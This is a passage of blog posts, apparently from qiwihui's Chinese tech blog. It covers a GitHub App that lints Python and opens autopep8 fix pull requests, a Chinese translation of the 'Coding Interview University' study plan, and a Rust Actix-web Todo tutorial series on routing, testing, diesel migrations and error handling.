                # Limit the number of annotations to 50
                if max_annotations == 0:
                    break
                max_annotations -= 1

                start_line = file["line"]
                end_line = file["line"]
                start_column = file["column"]
                end_column = file["column"]
                message = file["message"]

                # Create a new annotation for each error
                annotation = {
                    "path": file_path,
                    "start_line": start_line,
                    "end_line": end_line,
                    "start_column": start_column,
                    "end_column": end_column,
                    "annotation_level": annotation_level,
                    "message": message,
                }
                # # Annotations only support start and end columns on the same line
                # if start_line == end_line:
                #     annotation.merge({"start_column": start_column, "end_column": end_column})

                annotations.append(annotation)
            
            # Need fix action
            actions = [
                {
                    "label": "Fix this",
                    "description": "Automatically fix all linter notices.",
                    "identifier": "fix_rubocop_notices",
                }
            ]

步骤 2.5. 使用 CI 测试结果更新检查运行

整理结果,并添加修复动作:

        summary = (
            f"Summary\n"
            f"- Offense count: {len(output)}\n"
            f"- File count: {len(set([file['path'] for file in output]))}\n"
        )
        text = "Octo Pylinter version: pylint"
        # Mark the check run as complete!
        check_run.edit(
            name=APP_NAME,
            status="completed",
            completed_at=datetime.now(),
            conclusion=conclusion,
            output={
                "title": "Octo Pylinter",
                "summary": summary,
                "text": text,
                "annotations": annotations,
            },
            actions=actions,
        )

步骤 2.6. 自动修复错误

沿用 fix_rubocop_notices 这个 ID,使用 autopep8 做 python 文件的修正,将结果以 PR 的方式提交。

@github_app.on(["check_run.requested_action"])
def take_requested_action():
    full_repo_name = github_app.payload["repository"]["full_name"]
    repository = github_app.payload["repository"]["name"]
    head_branch = github_app.payload["check_run"]["check_suite"]["head_branch"]
    check_run_id = github_app.payload["check_run"]["id"]

    if github_app.payload["requested_action"]["identifier"] == "fix_rubocop_notices":
        repo_dir = clone_repository(
            full_repo_name,
            repository,
            head_branch,
            installation_token=github_app.github_app_installation.token,
        )
        # Automatically correct style errors
        # fix with autopep8
        command = f"autopep8 -a -i {repo_dir}/{repository}/**/*.py"
        report = subprocess.getoutput(command)

        # create new branch
        new_branch = f"fix_rubocop_notices_{check_run_id}"
        pushed = False
        try:
            repo = git.Repo(f"{repo_dir}/{repository}")
            if repo.index.diff(None) or repo.untracked_files:
                current = repo.create_head(new_branch)
                current.checkout()
                repo.config_writer().set_value("user", "name", config.GITHUB_APP_USER_NAME).release()
                repo.config_writer().set_value("user", "email", config.GITHUB_APP_USER_EMAIL).release()
                repo.git.add(update=True)
                repo.git.commit("-m", "Automatically fix Octo RuboCop notices.")
                repo.git.push("--set-upstream", "origin", current)
                pushed = True
            else:
                print("no changes")
        except:
            print("failed to commit and push")
            # # Nothing to commit!
            # print("Nothing to commit")
        finally:
            shutil.rmtree(repo_dir, ignore_errors=True)

        if pushed:
            # create pull request
            client = github_app.github_app_installation.get_github_client()
            repo = client.get_repo(full_repo_name)
            body = """Automatically fix Octo RuboCop notices."""
            pr = repo.create_pull(
                title="Automatically fix Octo RuboCop notices.", body=body, head=new_branch, base="master"
            )
            print(f"Pull Request number: {pr.number}")

在以上步骤的基础上,可以构建更复杂的测试过程,完成不同的需求。

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

编码面试学习手册(Coding Interview University)

原文地址: https://github.com/jwasham/coding-interview-university 基于2020年10月30日的原文版本翻译和校对

原先我为了成为一个软件工程师而建立这份简单的学习主题清单, 但这份清单随着时间而膨胀成今天这样。在做完这份清单上的每个目标后,我成为了 Amazon 的软件开发工程师! 你或许不需要像我一样学习这么多。但是,让你成为一位称职工程师所需要的知识都在这里了。

我每天自学8~12小时,这样持续了好几个月。这是我的故事:为什么我为了 Google 面试而自学了8个月

在这份清单内的主题会让你拥有足够的知识去面对几乎每家软件公司的技术面试,包括科技巨头:Amazon、Facebook、Google,以及 Microsoft。

祝你好运!

这是?

这是我为了从 web 开发者(自学、非计算机科学学位)蜕变至 Google 软件工程师所制定的计划,其内容历时数月。

白板上编程 ———— 来自 HBO 频道的剧集,“硅谷”

这份清单适用于 新手软件工程师,或者想从软件/网站开发转向软件工程(需要计算机科学知识)的人员。如果你有多年的经验,并且声称拥有多年的软件工程经验,并且期待一次更艰难的面试。

如果你具有多年的软件/网页开发经验,请注意,大型软件公司(例如 Google,Amazon,Facebook 和 Microsoft)将软件工程视为不同于软件/网页开发,并且它们需要计算机科学知识。

如果你想成为可靠性工程师或运维工程师,请从可选列表(网络,安全)中学习更多。


目录

–––––––– 下面的内容是可选的 ––––––––


为何要用到它?

当我开始这个项目时,我不知道堆和栈的区别,不了解时间复杂度(Big-O)、树,或如何去遍历一个图。如果非要我去编写一个排序算法的话,我只能说我所写的肯定是很糟糕。一直以来,我所用的任何数据结构都是内建于编程语言当中。至于它们在背后是如何运作,对此我一概不清楚。此外,以前的我并不需要对内存进行管理,最多就只是在一个正在执行的进程抛出了“内存不足”的错误后,才会去找解决方法。在我的编程生涯中,虽然我有用过多维数组,也用过关联数组成千上万次,但我从来没有自己实现过数据结构。

这是一个漫长的计划,以至于花费了我数月的时间。若你早已熟悉大部分的知识,那么也许能节省大量的时间。

如何使用它

下面所有的东西都只是一个概述。因此,你需要由上而下逐一地去处理它。

在学习过程中,我使用 GitHub 特殊语法的 markdown 去检查计划的进展,包括使用包含任务进度的任务列表。

创建一个新的分支,以便你可以像这样去勾选计划的进展:直接往方括号中填写一个字符 x 即可:[x]

Fork一个分支,并跟随以下的指令

通过单击 Fork 按钮来 fork GitHub 仓库:jwasham/coding-interview-university

克隆项目到本地

git checkout -b progress

git remote add jwasham https://github.com/jwasham/coding-interview-university

git fetch --all

在你完成了一些修改后,在框框中打 x

git add .

git commit -m "Marked x"

git rebase jwasham/master

git push --set-upstream origin progress

git push --force

更多关于 Github-flavored markdown 的详情

不要觉得自己不够聪明

相关视频资源

部分视频只能通过在 Coursera 或者 Edx 课程上注册登录才能观看。这些视频被称为网络公开课程(MOOC)。有时候某些课程需要等待好几个月才能获取,这期间你无法观看这些课程的影片。

很感谢你能帮我把网络公开课程的视频链接转换成公开的,可持续访问的视频源,比如 YouTube 视频,以代替那些在线课程的视频。此外,一些大学的讲座视频也是我所青睐的。

面试过程 & 通用的面试准备

为你的面试选择一种语言

你可以在编程这一环节,使用一种自己用起来较为舒适的语言去完成编程,但对于大公司,你只有三种固定的选择:

  • C++
  • Java
  • Python

你也可以使用下面两种编程语言,但可能会有某些限制,你需要实现查明:

  • JavaScript
  • Ruby

我之前写过一篇关于在面试时选择编程语言的文章:为编程面试选择一种语言

你需要对你所选择的语言感到非常舒适且足够了解。

更多关于语言选择的阅读:

  • http://www.byte-by-byte.com/choose-the-right-language-for-your-coding-interview/
  • http://blog.codingforinterviews.com/best-programming-language-jobs/

在此查看相关语言的资源

由于我正在学习C、C++ 和 Python,因此在下面你会看到部分关于它们的学习资料。相关书籍请看文章的底部。

书单

为了节省你的时间,以下是比我使用过的更缩减的书单。

面试准备

如果你有额外的时间:

选择以下之一:

编程语言精选

你需要选择面试语言(请参见上文)。

这是我按语言给出的建议。我没有所有语言的资源,欢迎贡献。

如果你通读其中之一,你应该具备了开始解决编程问题所需的所有数据结构和算法知识。除非你需要复习,否则你可以跳过此项目中的所有视频讲座

额外编程语言的精选资源

C++

我没有读过这两本书,但是它们颇受好评,作者是 Sedgewick,他非常厉害。

如果你有更好的 C++ 书籍,请告诉我。我正在搜集全面的资源。

Java

或者:

  • Java 数据结构和算法
    • 作者:Goodrich、Tamassia、Goldwasser
    • 用作 UC Berkeley 的 CS 入门课程的可选教材
    • 请参阅下面有关 Python 版本的我的读书报告,这本书涵盖了相同的主题

Python

在你开始之前

该列表已经持续更新了很长的一段时间,所以,我们的确很容易会对其失去控制。

这里列出了一些我所犯过的错误,希望你不要重滔覆辙。

1. 你不可能把所有的东西都记住

就算我观看了数小时的视频,并记录了大量的笔记,几个月后的我,仍然会忘却其中大部分的东西。所以,我花了3天翻阅我的笔记,并制作成抽认卡(flashcard)帮助我复习:

请阅读以下的文章以免重蹈覆辙:

记住计算机科学知识

有人推荐给我的课程(但我还沒看过):学习如何学习

2. 使用抽认卡

为了解决善忘的问题,我制作了一个抽认卡的网页,用于添加两种抽认卡:一般的及带有代码的。每种卡都会有不同的格式设计。

而且,我还以移动设备为先去设计这些网页,以使得在任何地方,我都能通过我的手机及平板去回顾知识。

你也可以免费制作属于你自己的抽认卡网站:

有一点需要记住的是,我做事有点过头,以至于卡片都覆盖到所有的东西上,从汇编语言和 Python 的细枝末节,到机器学习和统计都被覆盖到卡片上。而这种做法,对于要求来说是多余的。

在抽认卡上做笔记: 若你第一次发现你知道问题的答案时,先不要急着把其标注成“已知”。反复复习这张抽认卡,直到每次都能答对后才是真正学会了这个问题。反复地问答可帮助你深刻记住该知识点。

这里有个替代我抽认卡的网站 Anki,很多人向我推荐过它。这个网站用同一个字卡重复出现的方式让你牢牢地记住知识。这个网站非常容易使用,支持多平台,并且有云端同步功能。在 iOS 平台上收费25美金,其他平台免费。

这是我用 Anki 这个网站里的格式所储存的抽认卡资料库: ankiweb.net/shared/info/25173560 (感谢 @xiewenya

3. 复习,复习,再复习

我留有一组 ASCII 码表、OSI 堆栈、Big-O 记号及更多的抽认卡,以便在空余的时候可以学习。

编程累了就休息半个小时,并去复习你的抽认卡。

4. 专注

在学习的过程中,往往会有许多令人分心的事占据着我们宝贵的时间。因此,专注和集中注意力是非常困难的。放点纯音乐能帮上一些忙。

没有包含的内容

有一些熟悉且普遍的技术在此未被谈及到:

  • SQL
  • Javascript
  • HTML、CSS 和其他前端技术

日常计划

部分问题可能会花费一天的时间去学习,而有些则会花费多天。当然,有些学习并不需要我们懂得如何实现。

因此,每一天我都会在下面所列出的列表中选择一项,并观看相关的视频。然后,使用以下的一种语言去实现:

  • C —— 使用结构体和函数,该函数会接受一个结构体指针 * 及其他数据作为参数。
  • C++ —— 不使用内建的数据类型。
  • C++ —— 使用内建的数据类型,如使用 STL 的 std::list 来作为链表。
  • Python —— 使用内建的数据类型(为了持续练习 Python),并编写一些测试去保证自己代码的正确性。有时,只需要使用断言函数 assert() 即可。
  • 此外,你也可以使用 Java 或其他语言。以上只是我的个人偏好而已。

你不需要学会所有的编程语言,你只需要专注在一种编程语言上。

为何要在这些语言上分别实现一次?

  • 练习,练习,练习,直至我厌倦它,并正确无误地实现出来。(若有部分边缘条件没想到时,我会用书写的形式记录下来并去记忆)
  • 在纯原生的条件下工作(不需垃圾回收机制的帮助下,手动分配/释放内存(除了 Python))
  • 利用语言内建的数据类型,之后在实际工作的时候才能得心应手(在生产环境中,我不会去实现自己的链表)

就算我没有时间去每一项都这么做,但我也会尽我所能。

在这里你可以查看到我的代码:

你不需要记住每一个算法的内部原理。

在一个白板上写代码,而不要直接在计算机上编写。在测试完部分简单的输入后,到计算机上再测试一遍。

必备知识

算法复杂度 / Big-O / 渐进分析法

数据结构

更多的知识

树(Trees)

排序(Sorting)

总结一下,这是15种排序算法的可视化表示。如果你需要有关此主题的更多详细信息,请参阅“一些主题的额外内容”中的“排序”部分。

图(Graphs)

图论能解决计算机科学里的很多问题,所以这一节会比较长,像树和排序的部分一样。

可以从 Skiena 的书(参考下面的书推荐小节)和面试书籍中学习更多关于图的实践。

更多知识

如果你需要有关此主题的更多详细信息,请参阅“一些主题的额外内容”中的“字符串匹配”部分。

系统设计、可伸缩性、数据处理

如果你已经拥有了4年以上的编程经验,那你可以来看看有关系统设计的问题


终面

这一部分有一些短视频,你可以快速的观看和复习大多数重要概念。
这对经常性的巩固很有帮助。

编程问题练习

现在你已经了解了上面所有的计算机科学主题,是时候练习回答编程问题了。

编程问题的实践并不是要记住编程问题的答案

为什么需要练习编程问题:

  • 快速识别问题,以及如何应用正确的数据结构及算法
  • 收集问题的要求
  • 像在面试中一样谈论问题
  • 在白板或纸上而非计算机上编码
  • 计算解决方案的时间和空间的复杂性
  • 测试你的解决方案

这里有个很棒的入门教学,内容是如何在面试中有条不紊,并且有互动沟通地解决问题。这种能力可以从面试书籍中获得,但我觉得这个也很棒:算法设计画布

家里没有白板?那讲得通。我是一个怪人,有一个很大的白板。从白板商店买了一个大的绘图板,而不是白板。你可以坐在沙发上练习。这是我的“沙发白板”。我在照片中添加了笔以便进行缩放。如果你使用笔,则希望可以擦除。快速变得凌乱。我用铅笔和橡皮擦。

我的沙发白板

补充:

阅读并练习编程问题(按此顺序)

请参阅上方的书单

编程练习和挑战

一旦你学会了理论基础,就应该把它们拿出来练练。 尽量坚持每天做编码练习,越多越好。

编码面试问题视频:

编码练习平台:

语言学习网站,附带编码挑战:

编码挑战项目:

模拟面试:

当你临近面试时

你的简历

  • 请参阅“破解编码面试”和“编程面试的背面”中的建立准备项。

当面试来临的时候

随着下面列举的问题思考下你可能会遇到的 20 个面试问题,每个问题准备 2-3 种回答。准备点故事,不要只是摆一些你完成的事情的数据,相信我,人人都喜欢听故事。

  • 你为什么想得到这份工作?
  • 你解决过的最有难度的问题是什么?
  • 面对过的最大挑战是什么?
  • 见过的最好或者最坏的设计是怎么样的?
  • 对某个产品提出改进建议。
  • 你作为一个个体同时也是团队的一员,如何达到最好的工作状态?
  • 你的什么技能或者经验是你的角色中不可或缺的,为什么?
  • 你在某份工作或某个项目中最享受的是什么?
  • 你在某份工作或某个项目中面临过的最大挑战是什么?
  • 你在某份工作或某个项目中遇到过的最硬的 Bug 是什么样的?
  • 你在某份工作或某个项目中学到了什么?
  • 你在某份工作或某个项目中哪些地方还可以做的更好?

问面试官的问题

我会问的一些:(可能我已经知道了答案但我想听听面试官的看法或者了解团队的前景):
  • 团队多大规模?
  • 开发周期是怎样的? 会使用瀑布流/极限编程/敏捷开发么?
  • 经常会为截止日期(deadlines)加班么? 或者是有弹性的?
  • 团队里怎么做技术选型?
  • 每周平均开多少次会?
  • 你觉得工作环境有助于员工集中精力吗?
  • 目前正在做什么工作?
  • 喜欢这些事情吗?
  • 工作期限是怎么样的?
  • 工作生活怎么平衡?

当你获得了梦想的职位

恭喜你!

继续学习。

活到老,学到老。


*****************************************************************************************************
*****************************************************************************************************

下面的内容都是可选的。
通过学习这些内容,你将会得到更多的有关 CS 的概念,并将为所有的软件工程工作做更好的准备。你将会成为一个更全面的软件工程师。

*****************************************************************************************************
*****************************************************************************************************

额外书籍

你可以从以下的书单挑选你有兴趣的主题来研读。
  • UNIX环境高级编程

    • 老,但却很棒
  • Linux 命令行大全

    • 现代选择
  • TCP-IP详解系列

  • Head First 设计模式

    • 设计模式入门介绍
  • 设计模式:可复用面向对象软件的基础

    • 也被称为“四人帮”(Gang of Four(GOF))
    • 经典设计模式书籍
  • Linux 和 UNIX 系统管理技术手册(第五版)

  • 算法设计手冊(Skiena)

    • 作为复习以及问题辨别
    • 这本书中算法的部分难度已经超过面试会出现的
    • 本书分为两个部分:
      • 数据结构和算法课本
        • 优点:
          • 跟其他算法课本一样是个很棒的复习素材
          • 包含作者以往解决工业及学术上问题的经验的故事
          • 含C语言代码示例
        • 缺点:
          • 某些地方跟《算法导论》(CLRS)一样艰深,但在某些主题,算法导论或许是更好的选择。
          • 第7、8、9章有点难以消化,因为某些地方并没有解释得很清楚,或者根本上我就是个学渣
          • 别会错意了,我很喜欢 Skiena 的教学方法以及他的风格。
      • 算法目录:
        • 这个部分是买这本书的最大原因
        • 我即将着手进行这部分,一旦完成这部分我会再更新上来
    • 可以在 kindle 上租
    • 解答:
    • 勘误表
  • 编程卓越之道(第一卷):深入理解计算机

    • 该书于2004年出版,虽然有些过时,但是对于简单了解计算机而言,这是一个了不起的资源
    • 作者发明了高阶组合语言 HLA,所以提到,并且举了一些HLA的例子。里面没有用到很多,但都是很棒的组合语言的例子。
    • 这些章节值得阅读,为你提供良好的基础:
      • 第2章──数字表示
      • 第3章──二进制算术和位运算
      • 第4章──浮点表示
      • 第5章──字符表示
      • 第6章──内存组织和访问
      • 第7章──组合数据类型和内存对象
      • 第9章──CPU体系结构
      • 第10章──指令集架构
      • 第11章──内存体系结构和组织
  • 算法导论

    • 重要提示:读这本书的价值有限。本书很好地回顾了算法和数据结构,但不会教你如何编写良好的代码。你必须能够有效地编写一个不错的解决方案
    • 又称 CLR,有时是 CLRS,因为 Stein 最后才加入
  • 计算机体系结构:量化研究方法(第6版)

    • 更丰富、更新(2017年),但篇幅较长
  • 编程珠矶

    • 前几章介绍了解决编程问题(非常古老,甚至还用数据磁带)的巧妙解决方案,但这只是一个介绍。这是关于程序设计和体系结构的指南

附加学习

我把它们加进来是为了让你成为更全方位的软件工程师,并且留意一些技术以及算法,让你拥有更大的工具箱。

一些主题的额外内容

我为前面提到的某些主题增加了一些额外的内容,之所以没有直接添加到前面,是因为这样很容易导致某个主题内容过多。毕竟你想在本世纪找到一份工作,对吧?

视频系列

坐下来享受一下吧。“netflix 和技能” :P

计算机科学课程

论文

LICENSE

CC-BY-SA-4.0

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

用 Rust Actix-web 写一个 Todo 应用(四)── 测试

对程序进行集成测试。

测试前重构

在测试前,先简单重构,方便构建测试。

1. 将路由抽取成单独的模块

routes.rs

#![allow(unused)]
fn main() {
use crate::handlers;
use actix_web::web;
pub fn routes(cfg: &mut web::ServiceConfig) {
    cfg.service(handlers::hello)
        .route("/todos{_:/?}", web::get().to(handlers::todos))
        .route("/todos{_:/?}", web::post().to(handlers::create_todo))
        .route("/todos/{list_id}{_:/?}", web::get().to(handlers::todo))
        .route(
            "/todos/{list_id}/items{_:/?}",
            web::get().to(handlers::items),
        )
        .route(
            "/todos/{list_id}/items{_:/?}",
            web::post().to(handlers::create_item),
        )
        .route(
            "/todos/{list_id}/items/{item_id}{_:/?}",
            web::get().to(handlers::get_item),
        )
        .route(
            "/todos/{list_id}/items/{item_id}{_:/?}",
            web::put().to(handlers::check_todo),
        );
}
}

并将原来的 hello 视图移至 handlers.rs 中,此时 main.rs 中路由修改为如下:

+mod routes;
// ... 省略
+use routes::routes;
 
// ... 转移
-#[get("/")]
-async fn hello() -> impl Responder {
-    format!("Hello world!")
-}
-
 #[actix_web::main]
 async fn main() -> io::Result<()> {
     dotenv().ok();
@@ -34,26 +31,7 @@ async fn main() -> io::Result<()> {
         App::new()
             .data(AppState { pool: pool.clone() })
             .wrap(middleware::Logger::default())
// ... 转移
-            .service(hello)
-            .route("/todos{_:/?}", web::get().to(handlers::todos))
-            .route("/todos{_:/?}", web::post().to(handlers::create_todo))
-            .route("/todos/{list_id}{_:/?}", web::get().to(handlers::todo))
-            .route(
-                "/todos/{list_id}/items{_:/?}",
-                web::get().to(handlers::items),
-            )
-            .route(
-                "/todos/{list_id}/items{_:/?}",
-                web::post().to(handlers::create_item),
-            )
-            .route(
-                "/todos/{list_id}/items/{item_id}{_:/?}",
-                web::get().to(handlers::get_item),
-            )
-            .route(
-                "/todos/{list_id}/items/{item_id}{_:/?}",
-                web::put().to(handlers::check_todo),
-            )
+            .configure(routes)
     })
     .bind(format!("{}:{}", cfg.server.host, cfg.server.port))?
     .run()

2. 增加 init_pool 方法

首先我们添加一个配置错误处理:

errors.rs

#![allow(unused)]
fn main() {
@@ -10,6 +12,7 @@ pub enum Error {
     InternalServerError(String),
     NotFound(String),
     PoolError(String),
+    ConfigError(String),
 }
}

config.rs 中增加 init_pool 方法:

#![allow(unused)]
fn main() {
use crate::errors::Error;
use deadpool_postgres::Pool;
use tokio_postgres::NoTls;

// ... 省略

pub fn init_pool(config: &Config) -> Result<Pool, Error> {
    match config.pg.create_pool(NoTls) {
        Ok(pool) => Ok(pool),
        Err(_) => Err(Error::ConfigError("config error".into())),
    }
}
}

测试

首先,增加运行时环境包:

# ...

[dependencies]
actix-rt = "1"

创建 tests 目录,并添加如下文件,

src/tests/
├── handlers.rs
├── helpers.rs
└── mod.rs

在 main.rs 中增加 tests 模块:

#![allow(unused)]
fn main() {
#[cfg(test)]
mod tests;

// ...
}

其中,handlers.rs 用于集成测试,helpers.rs 提供基本的测试方法。

mod.rs

#![allow(unused)]
fn main() {
mod handlers;
mod helpers;
}

我们先测试一下 / 路由下 hello world 的功能。

helpers.rs 中增加基本的 get 测试方法:

#![allow(unused)]
fn main() {
use crate::routes::routes;
use actix_web::dev::ServiceResponse;
use actix_web::{test, App};
// 测试get
pub async fn test_get(route: &str) -> ServiceResponse {
    let mut app = test::init_service(App::new().configure(routes)).await;
    test::call_service(&mut app, test::TestRequest::get().uri(route).to_request()).await
}
// assert get 方法
pub async fn assert_get(route: &str) -> ServiceResponse {
    let response = test_get(route).await;
    assert!(response.status().is_success());
    response
}
}

handlers.rs

#![allow(unused)]
fn main() {
use crate::tests::helpers::assert_get;

#[actix_rt::test]
async fn test_hello_world() {
    assert_get("/").await;
}
}

运行测试:

$ cargo test

running 1 test
test tests::handlers::tests::test_hello_world ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

可以看到这个测试成功了。

测试 POST 接口

我们增加 lazy_staticserde_json 库,前者用于延后执行,后者用于方便处理 json 数据。

# ...

[dev-dependencies]
lazy_static = "1.4.0"
serde_json = "1.0.48"

在集成测试中,我们将使用数据库链接进行测试,首先 helpers.rs 中增加 AppState 用于测试:

#![allow(unused)]
fn main() {
lazy_static! {
    pub static ref APP_STATE: models::AppState = {
        dotenv().ok();
        let config = Config::from_env().unwrap();
        let pool = init_pool(&config).unwrap();
        models::AppState { pool: pool.clone() }
    };
}
}

以及对应的 post 测试断言:

#![allow(unused)]
fn main() {
// 其中 `AppState` 需要增加 `Clone` 宏
pub async fn test_post<T: Serialize>(route: &str, params: T) -> ServiceResponse {
    let mut app = test::init_service(App::new().data(APP_STATE.clone()).configure(routes)).await;
    test::call_service(
        &mut app,
        test::TestRequest::post()
            .set_json(&params)
            .uri(route)
            .to_request(),
    )
    .await
}

pub async fn assert_post<T: Serialize>(route: &str, params: T) -> ServiceResponse {
    let response = test_post(route, params).await;
    assert!(response.status().is_success());
    response
}
}

然后,我们增加一个创建 todo_list 的测试,包含创建并检测是否存在:

tests/handlers.rs

#![allow(unused)]
fn main() {
#[actix_rt::test]
async fn test_create_todos() {
    let todo_title = "Create todo List";

    let params = CreateTodoList {
        title: todo_title.into(),
    };
    let response = assert_post("/todos", params).await;
    // 检查放返回数据
    let body = test::read_body(response).await;
    let try_created: Result<models::TodoList, serde_json::error::Error> =
        serde_json::from_slice(&body);
    assert!(try_created.is_ok(), "Response couldn't not be parsed");
    // 使用接口查看数据
    let created_list = try_created.unwrap();
    let resp = assert_get("/todos").await;
    let todos: Vec<models::TodoList> = test::read_body_json(resp).await;
    let maybe_list = todos.iter().find(|todo| todo.id == created_list.id);
    assert!(maybe_list.is_some(), "Item not found!");
}
}

其中 CreateTodoList 需要增加 Clone 宏,才能在传入 params 参数时正常使用。

运行测试,查看结果

$ cargo test

running 2 tests
test tests::handlers::test_hello_world ... ok
test tests::handlers::test_create_todos ... ok

test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

测试 GET 接口

最后添加 GET 集成测试:

#![allow(unused)]
fn main() {
use crate::db::create_todo;
use crate::tests::helpers::{assert_get, assert_post, APP_STATE};
use deadpool_postgres::Client;
// ...

#[actix_rt::test]
async fn test_get_todos() {
    // create data in db
    let todo_title = "New Todo List";
    let client: Client = APP_STATE
        .pool
        .get()
        .await
        .expect("Error connecting to the database");
    let new_todo = create_todo(&client, todo_title.into()).await;
    assert!(new_todo.is_ok(), "Failed to create new test todo");
    // get and check
    let new_todo = new_todo.unwrap();
    let response = assert_get("/todos").await;
    let todos: Vec<models::TodoList> = test::read_body_json(response).await;
    let maybe_list = todos.iter().find(|todo| todo.id == new_todo.id);
    assert!(maybe_list.is_some(), "Item not found!");
}
}

运行结果:

#![allow(unused)]
fn main() {
$ cargo test

running 3 tests
test tests::handlers::test_hello_world ... ok
test tests::handlers::test_get_todos ... ok
test tests::handlers::test_create_todos ... ok

test result: ok. 3 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out
}

小结

  1. 简单重构,抽象工具函数;
  2. 抽象测试工具函数;
  3. 创建 GETPOST 测试。

参考文档和项目

  1. Creating a simple TODO service with Actix
  2. actix-web 官方文档
  3. 官方 actix-web 示例

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

用 Rust Actix-web 写一个 Todo 应用(三)── migrations 和错误处理

使用 diesel 管理数据库变化

diesel 是一个用 rust 写的 ORM 库,支持多种数据库,同时 diesel 提供了对数据库结构的管理功能。我们将使用 diesel 对我们的数据库结构变化进行管理。

首先,安装命令行工具 diesel_cli,并初始化数据库设置

# 安装 diesel_cli,支持 postgres
cargo install diesel_cli --no-default-features --features postgres

# 设置数据库连接
echo DATABASE_URL=postgres://actix:actix@localhost:5432/actix >> .env
# 生成 diesel.toml 文件指向 schema 所在
diesel setup
# 创建数据库 migration
diesel migration generate create_db

在生成的 migrations 目录中,填入数据库变化的 sql 语句,up.sql 用于修改,down.sql 用于撤销修改。

up.sql

create table todo_list (
    id serial primary key,
    title varchar(150) not null
);

create table todo_item (
    id serial primary key,
    title varchar(150) not null,
    checked boolean not null default false,
    list_id integer not null,
    foreign key (list_id) references todo_list(id)
);

down.sql

drop table if exists todo_item;
drop table if exists todo_list;

由于之前已经有对应的数据表结构,需要将原来的表结构删除,再运行数据库变更:

# 删除原有的数据表之后
diesel migrations run

其中,对应生成的 schema 为:

#![allow(unused)]
fn main() {
table! {
    todo_item (id) {
        id -> Int4,
        title -> Varchar,
        checked -> Bool,
        list_id -> Int4,
    }
}

table! {
    todo_list (id) {
        id -> Int4,
        title -> Varchar,
    }
}

joinable!(todo_item -> todo_list (list_id));

allow_tables_to_appear_in_same_query!(
    todo_item,
    todo_list,
);
}

此时,数据库中的表机构就和我们之前是一样的,同时增加了一个用于记录已经做过的 migrations 的数据库。

ORM

鉴于 diesel 没有 async 版本,以及 quaint 不是 type-safe,不做 ORM 的支持。

错误处理

自定义错误,并将常见的错误统一处理。

新增 errors.rs

#![allow(unused)]
fn main() {
use actix_web::http::StatusCode;
use actix_web::{HttpResponse, ResponseError};
use deadpool_postgres::PoolError;
use serde::{Deserialize, Serialize};
use std::fmt;

#[derive(Debug)]
#[allow(dead_code)]
pub enum Error {
    InternalServerError(String),
    NotFound(String),
    PoolError(String),
}

#[derive(Debug, Serialize, Deserialize)]
pub struct ErrorResponse {
    errors: Vec<String>,
}

impl fmt::Display for Error {
    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
        write!(f, "{}", self)
    }
}

impl ResponseError for Error {
    fn error_response(&self) -> HttpResponse {
        match self {
            Error::NotFound(message) => {
                HttpResponse::NotFound().json::<ErrorResponse>(message.into())
            }
            _ => HttpResponse::new(StatusCode::INTERNAL_SERVER_ERROR),
        }
    }
}

// 支持 字符串 into
impl From<&String> for ErrorResponse {
    fn from(error: &String) -> Self {
        ErrorResponse {
            errors: vec![error.into()],
        }
    }
}

// 处理 PoolError
impl From<PoolError> for Error {
    fn from(error: PoolError) -> Self {
        Error::PoolError(error.to_string())
    }
}
}

修改 db.rs

#![allow(unused)]
fn main() {
+use crate::errors::Error;

// ...

-        None => Err(Error::new(ErrorKind::NotFound, "Not found")),
+        None => Err(Error::NotFound("Not found".into())),
}

修改 handlers.rs,其中一个请求处理

#![allow(unused)]
fn main() {
+use crate::errors::Error;
// error_response:items from traits can only be used if the trait is in scope
+use actix_web::ResponseError;

// ...

-pub async fn todos(state: web::Data<AppState>) -> impl Responder {
+pub async fn todos(state: web::Data<AppState>) -> Result<HttpResponse, Error> {
     let client: Client = state
         .pool
         .get()
@@ -33,12 +34,15 @@ pub async fn todos(state: web::Data<AppState>) -> impl Responder {
         .expect("Error connecting to the database");
     let result = db::get_todos(&client).await;
     match result {
-        Ok(todos) => HttpResponse::Ok().json(todos),
-        Err(_) => HttpResponse::InternalServerError().into(),
+        Ok(todos) => Ok(HttpResponse::Ok().json(todos)),
+        Err(e) => Ok(e.error_response()),
     }
 }
}

小结

  1. 管理数据库结构变更;
  2. 自定义错误处理

参考文档和项目

  1. Creating a simple TODO service with Actix
  2. actix-web 官方文档
  3. 官方 actix-web 示例

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

用 Rust Actix-web 写一个 Todo 应用(二)── 请求获取和日志记录

如何获取路径参数

添加根据 id 获取数据操作:

#![allow(unused)]
fn main() {
use std::io::{Error, ErrorKind};
// ...省略

pub async fn get_todo(client: &Client, list_id: i32) -> Result<TodoList, Error> {
    let statement = client
        .prepare("select * from todo_list where id = $1")
        .await
        .unwrap();

    let may_todo = client
        .query_opt(&statement, &[&list_id])
        .await
        .expect("Error getting todo lists")
        .map(|row| TodoList::from_row_ref(&row).unwrap());

    match may_todo {
        Some(todo) => Ok(todo),
        None => Err(Error::new(ErrorKind::NotFound, "Not found")),
    }
}
}

设置请求参数,设置使用 Info 作为请求路径参数序列化结构体:

#![allow(unused)]
fn main() {
use crate::db::{get_todo, get_todos};
use serde::Deserialize;

// ...省略

#[derive(Deserialize)]
pub struct Info {
    pub list_id: i32,
}

pub async fn todo(info: web::Path<Info>, db_pool: web::Data<Pool>) -> impl Responder {
    let client: Client = db_pool
        .get()
        .await
        .expect("Error connecting to the database");

    let result = get_todo(&client, info.list_id).await;
    match result {
        Ok(todo) => HttpResponse::Ok().json(todo),
        Err(_) => HttpResponse::InternalServerError().into(),
    }
}
}

添加路由:

#![allow(unused)]
fn main() {
use handlers::{todo, todos};

// ...省略
    HttpServer::new(move || {
        App::new()
            .data(pool.clone())
            .service(hello)
            .route("/todos{_:/?}", web::get().to(todos))
            .route("/todos/{list_id}{_:/?}", web::get().to(todo))
    })

}

运行并获取结果:

$ curl 127.0.0.1:8000/todos/1
{"id":1,"title":"List 1"}

增加日志记录

为了方便查看操作过程,可以增加日志记录,使用 env_logger 方便从环境变量中设置日志记录级别,log 用于记录不同级别日志,比如 infodebug

Cargo.toml

[dependencies]
# ...
env_logger = "0.8"
